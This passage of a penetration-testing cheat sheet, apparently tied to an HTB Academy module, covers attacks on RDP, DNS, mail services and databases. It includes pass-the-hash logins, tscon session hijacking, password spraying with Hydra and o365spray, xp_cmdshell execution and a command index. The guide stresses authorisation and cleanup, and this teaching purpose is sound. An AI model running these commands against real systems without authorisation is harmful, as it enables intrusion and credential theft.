 xfreerdp /v:"$IP" /u:Administrator /pth:'<NT_HASH>' /cert:tofu
 ```
 
 Check the registry value before changing it and restore that exact state after the test. A successful SMB pass-the-hash does not guarantee RDP logon rights or Restricted Admin support.
 
 ### Session inventory and hijacking
 
 An administrator can list sessions, but `tscon` session reassignment without the user's password requires SYSTEM on affected older Windows versions. Modern releases have mitigations and behavior varies by version.
 
 ```batch
 query user
 query session
 
 :: Historical technique: service runs as LocalSystem and connects to session 2
 sc.exe create SessionProof binPath= "cmd.exe /c tscon 2 /dest:console"
 sc.exe start SessionProof
 sc.exe delete SessionProof
 ```
 
 This disrupts a user's desktop and creates a service. Use it only when the engagement specifically permits session access and the user-impact risk is accepted. Prefer a session listing as proof of exposure.
 
 ### BlueKeep, CVE-2019-0708
 
 BlueKeep is a pre-authentication use-after-free in older Remote Desktop Services implementations. Exploitation can crash the host. Confirm the Windows version and patch state first, use a non-exploit scanner when possible, and schedule any exploit attempt with the same controls as a reboot-risk test.
 
 ## 10 · DNS reconnaissance and trust abuse `fas:Terminal`
 
 DNS reveals the namespace that other service attacks depend on. UDP handles most queries; TCP is used for large responses and zone transfers. Start with record collection and nameserver discovery before brute-force enumeration.
 
 ### Query the namespace
 
 ```bash
 dig A "$TARGET" @"$IP"
 dig AAAA "$TARGET" @"$IP"
 dig NS "$DOMAIN" @"$IP"
 dig MX "$DOMAIN" @"$IP"
 dig TXT "$DOMAIN" @"$IP"
 dig SOA "$DOMAIN" @"$IP"
 dig -x "$IP" @"$IP"
 
 host -a "$DOMAIN" "$IP"
 ```
 
 The SOA record names the primary server and zone administrator mailbox. NS and MX records produce hosts for follow-up service scans. TXT records may expose mail policy, verification tokens, or internal naming conventions.
 
 ### Zone transfer
 
 ```bash
 dig AXFR "$DOMAIN" @"$IP"
 
 # Try every authoritative nameserver, because policy can differ
 for ns in $(dig +short NS "$DOMAIN"); do
   dig AXFR "$DOMAIN" @"$ns"
 done
 ```
 
 A successful AXFR can disclose the zone's hostnames and records. It is a confidentiality issue, not code execution. Save the full transfer and feed new names back into DNS resolution and port discovery.
 
 ### Subdomain enumeration
 
 ```bash
 subfinder -d "$DOMAIN" -silent -o subdomains-passive.txt
 fierce --domain "$DOMAIN" --dns-servers "$IP"
 
 while read -r name; do
   host "$name.$DOMAIN" "$IP"
 done < approved-subdomain-list.txt
 ```
 
 Passive discovery touches third-party sources and may reveal out-of-scope assets. Resolve and test only names within the authorised boundary.
 
 ### Dangling records and subdomain takeover
 
 ```bash
 dig CNAME "support.$DOMAIN" +short
 host "support.$DOMAIN"
 ```
 
 A dangling CNAME points to a provider resource that no longer exists. Provider error text is an indicator, not final proof that the name is claimable. Confirm the provider-specific conditions and get approval before registering any resource. Taking control of a production subdomain is a state-changing action with brand and cookie-scope impact.
 
 ### Local DNS spoofing
 
 Ettercap or Bettercap can answer DNS requests during an authorised layer-2 man-in-the-middle test. The path requires local network position, ARP spoofing or equivalent traffic control, and a victim that trusts the supplied response.
 
 ```text
 # /etc/ettercap/etter.dns example
 portal.example.test     A     10.10.14.2
 *.example.test          A     10.10.14.2
 ```
 
 Document the traffic-positioning prerequisite. A writable local hosts file or control of a resolver is a different finding from spoofing broadcast-domain traffic.
 
 ## 11 · SMTP, POP3, and IMAP `fas:Terminal`
 
 SMTP sends or relays mail. POP3 downloads a mailbox with a small command set. IMAP keeps mail on the server and supports folder and message search. The services often share an identity provider, so a username or password confirmed by one should be checked against the others within the approved attempt budget.
 
 ### Identify the mail platform
 
 ```bash
 dig +short MX "$DOMAIN"
 host -t MX "$DOMAIN"
 
 sudo nmap -Pn -n -sV -sC \
   -p25,110,143,465,587,993,995 \
   --script smtp-commands,smtp-enum-users,smtp-open-relay,pop3-capabilities,imap-capabilities \
   -oA "$EVIDENCE/mail" "$IP"
 ```
 
 MX hosts under `mail.protection.outlook.com` indicate Microsoft 365. Google Workspace commonly points to Google's MX hosts. Cloud identity testing has provider-specific throttling, federation, MFA, and legal constraints. Do not send generic high-rate Hydra traffic at a cloud provider.
 
 ### Manual SMTP capability and user checks
 
 ```bash
 openssl s_client -starttls smtp -connect "$IP:25" -crlf -quiet
 ```
 
 ```text
 EHLO assessor.example
 VRFY candidate
 EXPN staff
 MAIL FROM:<probe@assessor.example>
 RCPT TO:<candidate@example.test>
 RSET
 QUIT
 ```
 
 Interpret response codes in context:
 
 | Response | Typical meaning | Caveat |
 |---:|---|---|
 | `220` | service ready | banner may disclose product/hostname |
 | `250` | requested action accepted | acceptance can be deferred; it does not always prove mailbox delivery |
 | `252` | user cannot be verified, but mail may be accepted | often prevents clean VRFY enumeration |
 | `550` | mailbox/action rejected | policy and anti-enumeration controls can mask validity |
 
 Test valid-looking and definitely invalid controls. Username enumeration exists only when responses differ reliably enough to classify candidates.
 
 ```bash
 smtp-user-enum -M VRFY -U users.txt -t "$IP"
 smtp-user-enum -M RCPT -U users.txt -D "$DOMAIN" -t "$IP"
 smtp-user-enum -M EXPN -U aliases.txt -t "$IP"
 ```
 
 ### POP3 and IMAP by hand
 
 ```bash
 openssl s_client -connect "$IP:995" -crlf -quiet
 ```
 
 ```text
 USER candidate
 PASS <secret>
 STAT
 LIST
 RETR 1
 QUIT
 ```
 
 ```bash
 openssl s_client -connect "$IP:993" -crlf -quiet
 ```
 
 ```text
 a1 CAPABILITY
 a2 LOGIN candidate <secret>
 a3 LIST "" "*"
 a4 SELECT INBOX
 a5 SEARCH TEXT "password"
 a6 FETCH 1 BODY.PEEK[]
 a7 LOGOUT
 ```
 
 Use `BODY.PEEK[]` during IMAP review so the server does not set the Seen flag merely because the assessor fetched the message. Mailbox access exposes personal and regulated data; search narrowly and retain only what supports the finding.
 
 ### Self-hosted credential tests
 
 ```bash
 hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" pop3
 hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" imap
 hydra -L users.txt -p 'ApprovedCandidate!' -f "$IP" smtp
 ```
 
 Use the TLS-specific module or service syntax when the endpoint requires implicit TLS. Confirm the authentication mechanism from capabilities before interpreting failures.
 
 ### Microsoft 365 workflow
 
 The source module uses o365spray because provider-side responses, federation, and throttling need cloud-aware handling.
 
 ```bash
 python3 o365spray.py --validate --domain "$DOMAIN"
 python3 o365spray.py --enum -U users.txt --domain "$DOMAIN"
 python3 o365spray.py --spray -U confirmed-users.txt \
   -p 'ApprovedCandidate!' --count 1 --lockout 1 --domain "$DOMAIN"
 ```
 
 Cloud spraying can trigger tenant alerts and account controls. The engagement must explicitly name the tenant, test accounts or user population, attempt count, delay, and stop conditions. MFA does not make password validation harmless; a correct first factor remains sensitive evidence.
 
 ### Open relay validation
 
 ```bash
 sudo nmap -Pn -n -p25 --script smtp-open-relay "$IP"
 
 swaks --server "$IP" \
   --from probe@external.example \
   --to controlled-recipient@external.example \
   --header 'Subject: authorised relay proof' \
   --body 'Controlled relay validation. Do not forward.'
 ```
 
 Use sender and recipient accounts controlled by the assessment team. A `250` response during the transaction does not prove final external delivery. Retain the received message headers as evidence and avoid testing impersonation of a real employee.
 
 ### OpenSMTPD command injection, CVE-2020-7247
 
 Affected OpenSMTPD versions mishandled shell metacharacters in an attacker-controlled sender field. The daemon's local delivery path could execute a short command with elevated rights. Confirm the exact product and version before using a public proof of concept. The published technique is length constrained and is suitable only for a disposable lab or a separately approved exploit window.
 
 ## 12 · Combine services without losing state `fas:Route`
 
 The fastest path through a multi-service host is a state machine. Each new identity or secret returns to the authentication stage for every compatible service.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Multi-service state machine</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <svg class="flow-svg" viewBox="0 0 460 1100" role="img" aria-label="Full scan, unauthenticated checks, collect files, update credential matrix, validate services, enumerate permissions, then a decision: if a new host account secret or trust is found loop back to the credential matrix, otherwise proceed to version-gated exploit review then minimal proof, cleanup and report">
       <path class="fedge" d="M200,88 L200,156" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,206 L200,274" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,324 L200,392" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,442 L200,510" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,560 L200,628" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,678 L200,746" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,832 L200,900" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M200,950 L200,1018" marker-end="url(#flow-arrow)" />
       <path class="fedge is-back" d="M380,790 L410,790 L410,418 L372,418" marker-end="url(#flow-arrow)" />
       <g class="fnode is-entry"><rect class="fnode__box" x="30" y="40" width="340" height="48" /><text class="fnode__label" x="200" y="68" text-anchor="middle">Full TCP plus targeted UDP scan</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="158" width="340" height="48" /><text class="fnode__label" x="200" y="178" text-anchor="middle">Unauthenticated checks<tspan class="sub" x="200" dy="15">anonymous, null, records, capabilities</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="276" width="340" height="48" /><text class="fnode__label" x="200" y="304" text-anchor="middle">Collect names and scoped files</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="394" width="340" height="48" /><text class="fnode__label" x="200" y="422" text-anchor="middle">Update identity and credential matrix</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="512" width="340" height="48" /><text class="fnode__label" x="200" y="540" text-anchor="middle">Validate against every compatible service</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="630" width="340" height="48" /><text class="fnode__label" x="200" y="658" text-anchor="middle">Enumerate effective permissions</text></g>
       <g class="fnode is-decision"><polygon class="fdecision__poly" points="200,748 380,790 200,832 20,790" /><text class="fdecision__label" x="200" y="794" text-anchor="middle">New host, account, secret, or trust?</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="902" width="340" height="48" /><text class="fnode__label" x="200" y="930" text-anchor="middle">Version-gated exploit review</text></g>
       <g class="fnode"><rect class="fnode__box" x="30" y="1020" width="340" height="48" /><text class="fnode__label" x="200" y="1048" text-anchor="middle">Minimal proof, cleanup, report</text></g>
       <g class="felabel"><rect class="felabel__box" x="394" y="596" width="32" height="16" /><text class="felabel__text" x="410" y="607" text-anchor="middle">yes</text></g>
       <g class="felabel"><rect class="felabel__box" x="187" y="858" width="26" height="16" /><text class="felabel__text" x="200" y="869" text-anchor="middle">no</text></g>
     </svg>
   </div>
 </figure>
 
 ### Chain A: file service to mail to database
 
 1. FTP allows anonymous listing.
 2. A filename or document author supplies a candidate username.
 3. SMTP or POP3 responses confirm the account.
 4. A controlled spray confirms a reused password.
 5. A mailbox search returns a database connection string.
 6. MSSQL permissions reveal `IMPERSONATE` or direct `sysadmin` access.
 7. `xp_cmdshell 'whoami'` proves the OS security context.
 
 ### Chain B: SMB to administrative execution
 
 1. SMB null access exposes a share and password-policy clues through RPC.
 2. Share content supplies a local administrator credential or NT hash.
 3. NetExec distinguishes local from domain authentication and confirms admin rights.
 4. An Impacket execution method runs a short identity command.
 5. A local SAM dump is performed only if credential compromise is in scope.
 6. Reuse testing is restricted to approved hosts and recorded per target.
 
 ### Chain C: DNS to forgotten management hosts
 
 1. NS and AXFR checks expose internal or legacy hostnames.
 2. New names are resolved and scanned within scope.
 3. An old FTP, mail, or database instance exposes a weaker authentication path.
 4. The resulting account is tested on the primary services.
 
 ### Three-tier practice plan
 
 | Scenario shape | First priority | Expected connection |
 |---|---|---|
 | Mail, customer data, and files | SMTP/POP3/IMAP plus FTP/SMB anonymous checks | mailbox or file loot supplies the next credential |
 | Rarely used backup/test host | full `-p-` scan and default/test credentials | neglected configuration exposes data or a reused secret |
 | File server plus unknown database | share inventory followed by SQL fingerprinting | configuration or document content supplies database access |
 
 Do not import flags or dynamic lab credentials into the cheatsheet. The learning objective is the chain and its evidence, not a static answer from one spawned target.
 
 ## 13 · Failure analysis
 
 | Symptom | Likely cause | Check |
 |---|---|---|
 | SMB login works in one tool and fails in another | realm mismatch or guest fallback | specify domain/local realm; inspect effective username |
 | `Pwn3d!` absent after valid SMB auth | account is not admin on that host | enumerate share/RPC rights instead of forcing RCE |
 | Relay listener receives auth but target action fails | signing, EPA/channel binding, protocol mismatch, or weak target rights | inspect target prerequisites and ntlmrelayx logs |
 | MSSQL login fails with a known domain credential | wrong auth mode, hostname, TLS, or SPN | use `-windows-auth`; resolve FQDN; test Kerberos separately |
 | `xp_cmdshell` returns access denied | SQL service account lacks OS rights or proxy context differs | query service identity and use a harmless local command |
 | MySQL `LOAD_FILE()` returns `NULL` | missing `FILE`, blocked path, unreadable file, or `secure_file_priv` | check grants, policy value, and filesystem assumptions |
 | RDP spray tool reports all failures | NLA, throttling, TLS/client incompatibility, or lockout | test one manual connection and inspect NLA/encryption |
 | SMTP gives the same reply for every user | anti-enumeration policy | compare valid and invalid controls; do not claim enumeration |
 | AXFR fails against one server | transfer policy differs per NS | test each authoritative nameserver |
 | FTP transfer corrupts an archive | ASCII transfer mode | repeat in `binary` mode and compare hashes |
 
 ## 14 · Proof, cleanup, and reporting
 
 ### Minimal proof ladder
 
 Move down this list only as far as the finding requires:
 
 1. Capture banner, protocol identity, and relevant configuration response.
 2. List an exposed object without downloading its content.
 3. Read a low-sensitivity test object or one narrowly selected file.
 4. Create and delete a harmless marker in an approved path.
 5. Execute `whoami` and `hostname` in an approved window.
 6. Extract credential material or open a user session only when the rules of engagement require that proof.
 
 ### Change log
 
 | Time | Host | Service | Change | Original state | Cleanup | Evidence |
 |---|---|---|---|---|---|---|
 | UTC timestamp | target | MSSQL | enabled `xp_cmdshell` | disabled | restored to disabled | transcript path |
 
 Track uploaded files, services, tasks, registry values, database settings, mapped drives, relay listeners, and cloud test messages. Cleanup should be testable. Confirm a marker is gone, a setting matches its original value, and a temporary service no longer exists.
 
 ### Finding structure
 
 Write each finding around the complete path:
 
 - **Exposure:** the reachable service, product/version, and unauthenticated information.
 - **Prerequisites:** network position, authentication state, role, signing, NLA, or provider condition.
 - **Action:** the exact safe test performed.
 - **Result:** data read, write permission, effective account, relayed action, or remote host reached.
 - **Impact:** the data, system, or trust boundary affected. Avoid inflating a local host result into domain compromise.
 - **Remediation:** disable unused protocols, remove anonymous access, enforce least privilege, patch the exact vulnerable product, require SMB signing where compatible, tighten relay protections, and monitor credential reuse.
 - **Retest:** repeat the original proof and confirm it now fails for the intended reason.
 
 ## 15 · Compact command index `fas:ClipboardList`
 
 | Goal | Command |
 |---|---|
 | Full TCP sweep | `sudo nmap -Pn -n -p- --open -sV -oA evidence/all $IP` |
 | Anonymous FTP | `ftp $IP` then `anonymous` |
 | SMB shares, null | `smbclient -N -L //$IP` |
 | SMB permissions | `smbmap -H $IP` |
 | SMB/RPC sweep | `enum4linux-ng -A -C $IP` |
 | SMB signing | `nmap -p445 --script smb2-security-mode $IP` |
 | Domain password spray | `nxc smb targets.txt -d $DOMAIN -u users.txt -p 'Candidate!'` |
 | MSSQL login | `impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth` |
 | MySQL login | `mysql -h $IP -u $U -p` |
 | MSSQL OS context | `EXEC master..xp_cmdshell 'whoami';` |
 | MSSQL links | `EXEC master.dbo.sp_linkedservers;` |
 | RDP identity | `nmap -p3389 --script rdp-ntlm-info $IP` |
 | RDP client | `xfreerdp /v:$IP /u:$U /d:$DOMAIN /p:$P /cert:tofu` |
 | Zone transfer | `dig AXFR $DOMAIN @$IP` |
 | Mail ports | `nmap -sV -sC -p25,110,143,465,587,993,995 $IP` |
 | SMTP users | `smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP` |
 | Open relay | `nmap -p25 --script smtp-open-relay $IP` |
 | NetNTLMv2 crack | `hashcat -m 5600 capture.txt wordlist.txt` |
 
 ## 16 · CVE and condition index
 
 | Issue | Service | Required condition | Safe validation stance |
 |---|---|---|---|
 | CVE-2022-22836 | CoreFTP HTTP upload | affected build plus authenticated PUT access | removable text-file write |
 | CVE-2020-0796, SMBGhost | SMBv3.1.1 | affected Windows build and missing patch | scanner and patch evidence first; crash risk |
 | CVE-2012-2122 | old MySQL/MariaDB builds | affected compiler/build and unpatched version | version-gated lab testing |
 | CVE-2019-0708, BlueKeep | RDP | vulnerable legacy Windows/RDS and missing patch | non-exploit check first; crash risk |
 | CVE-2020-7247 | OpenSMTPD | affected version and delivery path | exact fingerprint; lab or approved exploit window |
 | CVE-2021-44228, Log4Shell | Java logging path | vulnerable Log4j reachable through attacker input | controlled callback and application-context evidence |
 
 ## 17 · References `fas:BookOpen`
 
 1. [HTB Academy, Attacking Common Services](https://academy.hackthebox.com/module/details/116)
 2. [Microsoft Open Specifications, MS-SMB2](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/)
 3. [Microsoft, xp_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql)
 4. [Microsoft, linked servers](https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine)
 5. [Impacket](https://github.com/fortra/impacket)
 6. [NetExec](https://github.com/Pennyw0rth/NetExec)
 7. [enum4linux-ng](https://github.com/cddmp/enum4linux-ng)
 8. [Responder](https://github.com/lgandx/Responder)
 9. [FreeRDP](https://github.com/FreeRDP/FreeRDP)
 10. [Nmap NSE documentation](https://nmap.org/nsedoc/)
 11. [NVD, CVE-2022-22836](https://nvd.nist.gov/vuln/detail/CVE-2022-22836)
 12. [NVD, CVE-2020-0796](https://nvd.nist.gov/vuln/detail/CVE-2020-0796)
 13. [NVD, CVE-2012-2122](https://nvd.nist.gov/vuln/detail/CVE-2012-2122)
 14. [NVD, CVE-2019-0708](https://nvd.nist.gov/vuln/detail/CVE-2019-0708)
 15. [NVD, CVE-2020-7247](https://nvd.nist.gov/vuln/detail/CVE-2020-7247)
 16. [NVD, CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
 
 [Condensed service card](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Next long-form guide: common applications](/sheets/pentest-workflow/attacking-common-applications-guide)